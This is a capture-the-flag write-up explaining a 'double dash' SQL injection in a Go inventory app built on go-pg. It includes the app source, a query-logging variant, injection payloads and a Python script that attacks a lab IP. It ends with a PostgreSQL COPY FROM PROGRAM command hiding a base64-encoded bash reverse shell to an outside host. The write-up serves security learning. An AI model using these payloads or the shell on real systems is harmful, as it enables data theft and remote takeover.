Web Exploitation
Go, SQL Injection, Double Dash
Mechacore Inventory
Description
Solution
Given source code, following is main.go
//go:build ignore
package main
import (
"fmt"
"time"
"log"
"strconv"
"net/http"
"html/template"
"github.com/go-pg/pg/v10"
"github.com/go-pg/pg/v10/orm"
)
type User struct {
Id int64
Name string
Email string
isAdmin bool
}
func (u User) String() string {
return fmt.Sprintf("User<%d %s %v %d>", u.Id, u.Name, u.Email, u.isAdmin)
}
type Item struct {
Id int64
Name string
Type string
Status string
CreationTimestamp int64
Quantity int64
OwnerId int64
Owner *User `pg:"rel:has-one"`
}
func renderTemplate(w http.ResponseWriter, name string, data interface{}) {
t, err := template.ParseGlob("templates/*.html")
if err != nil {
http.Error(w, fmt.Sprintf("Error %s", err.Error()), 500)
return
}
err = t.ExecuteTemplate(w, name, data)
if err != nil {
http.Error(w, fmt.Sprintf("Error %s", err.Error()), 500)
return
}
}
func dbGetItems( lastnseconds int , name string) []Item {
db := pg.Connect(&pg.Options{
User: "postgres",
Password: "postgres",
})
defer db.Close()
var items []Item
var err error
fmt.Print(lastnseconds)
fmt.Print(name)
if name=="" && lastnseconds==0 {
err = db.Model(&items).Select()
} else {
err = db.Model(&items).
Where("item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)-? or item.name=?", lastnseconds , name).
Select()
}
if err != nil {
panic(err)
}
return items
}
// createSchema creates database schema for User and Story models.
func createSchema() error {
db := pg.Connect(&pg.Options{
User: "postgres",
Password: "postgres",
})
defer db.Close()
var err error
models := []interface{}{
(*User)(nil),
(*Item)(nil),
}
for _, model := range models {
err = db.Model(model).DropTable(&orm.DropTableOptions{
IfExists: true,
Cascade: true,
})
err = db.Model(model).CreateTable(&orm.CreateTableOptions{
Temp: false,
})
if err != nil {
return err
}
}
user1 := &User{
Name: "admin",
Email: "admin1@admin",
}
_, err = db.Model(user1).Insert()
if err != nil {
panic(err)
}
item1 := &Item{
Name: "UD-123-412",
Type: "Sensor",
Status: "Finished",
CreationTimestamp: time.Now().Unix() - 3600*2,
Quantity: 12,
OwnerId: user1.Id,
}
item2 := &Item{
Name: "UD-123-555",
Type: "Arm",
Status: "Creating",
CreationTimestamp: time.Now().Unix() - 3600*5,
Quantity: 5,
OwnerId: user1.Id,
}
_, err = db.Model(item1).Insert()
_, err = db.Model(item2).Insert()
if err != nil {
panic(err)
}
return nil
}
func handler(w http.ResponseWriter, r *http.Request) {
name := r.FormValue("name")
lastnseconds := r.FormValue("lastnseconds")
lastnsecondsi, _ := strconv.Atoi(lastnseconds)
items := dbGetItems(lastnsecondsi, name)
renderTemplate(w, "inventory.html", struct {
Items []Item
}{
Items: items,
})
}
func main() {
err := createSchema()
if err != nil {
panic(err)
}
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8000", nil))
}
The highlighted line is where the vulnerability lies. Previously there is a research about this kind of vulnerability https://www.sonarsource.com/blog/double-dash-double-trouble-a-subtle-sql-injection-flaw/.
So if we can input negative value and it directly passed to the query that has "-" right before the negative value then it can be trigger a comment for the rest query. In this case, there is an application that receive last n seconds value that can be negative and it was substracted with the current timestamp. If we input negative value then the query will be like below
item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)--? or item.name=?
But the problem is we don't know the exact query passed to the SQL engine, we need to know it to reconstruct the SQL Injection payload. To overcame this, we can use the modified code below
//go:build ignore
package main
import (
"fmt"
"strconv"
"github.com/go-pg/pg/v10"
"log"
"context"
)
type User struct {
Id int64
Name string
Email string
isAdmin bool
}
type Item struct {
Id int64
Name string
Type string
Status string
CreationTimestamp int64
Quantity int64
OwnerId int64
Owner *User `pg:"rel:has-one"`
}
type QueryLogger struct{}
func (ql *QueryLogger) BeforeQuery(c context.Context, q *pg.QueryEvent) (context.Context, error) {
return c, nil
}
func (ql *QueryLogger) AfterQuery(c context.Context, q *pg.QueryEvent) error {
query, err := q.FormattedQuery()
if err != nil {
log.Printf("Failed to format query: %v", err)
return nil
}
log.Printf("Executed query: \n%s\n", query)
return nil
}
func dbGetItems( lastnseconds int , name string) []Item {
db := pg.Connect(&pg.Options{
User: "postgres",
Password: "postgres",
})
defer db.Close()
var items []Item
var err error
// fmt.Print(lastnseconds)
// fmt.Print(name)
db.AddQueryHook(&QueryLogger{})
if name=="" && lastnseconds==0 {
err = db.Model(&items).Select()
} else {
err = db.Model(&items).
Where("item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)-? or item.name=?", lastnseconds , name).
Select()
}
if err != nil {
panic(err)
}
return items
}
func main() {
var lastnseconds = "1"
var name = "foo"
lastnsecondsi, _ := strconv.Atoi(lastnseconds)
items := dbGetItems(lastnsecondsi, name)
fmt.Println(items)
}

By knowing the full query now we can create our SQL Injection payload
SELECT "item"."id", "item"."name", "item"."type", "item"."status", "item"."creation_timestamp", "item"."quantity", "item"."owner_id" FROM "items" AS "item" WHERE (item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)--1 or item.name='foo
);select * from users;--')
So we need to close the bracket first then put the injection query.
var lastnseconds = "-1"
var name = "foo\n);select * from users;--"

Now we can confirm that it works, next just do scripting to send the payload to the server.
import requests
import urllib.parse
def urlencode(data):
return urllib.parse.quote(data)
query = "SELECT 1,2,table_name,4,5,6 from information_schema.tables"
exploit = f"foo\n);{query};--"
burp0_url = f"http://10.10.48.212:80/?name={urlencode(exploit)}&lastnseconds=-1"
burp0_headers = {"Accept-Language": "en-US,en;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://10.10.48.212/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
resp = requests.get(burp0_url, headers=burp0_headers)
print(resp.text)
next we can trigger RCE using COPY FROM query with $$
as the substitution for '
COPY shell FROM PROGRAM $$echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuOC44MC4xNS80NDQ0IDA+JjE= | base64 -d | bash$$
Last updated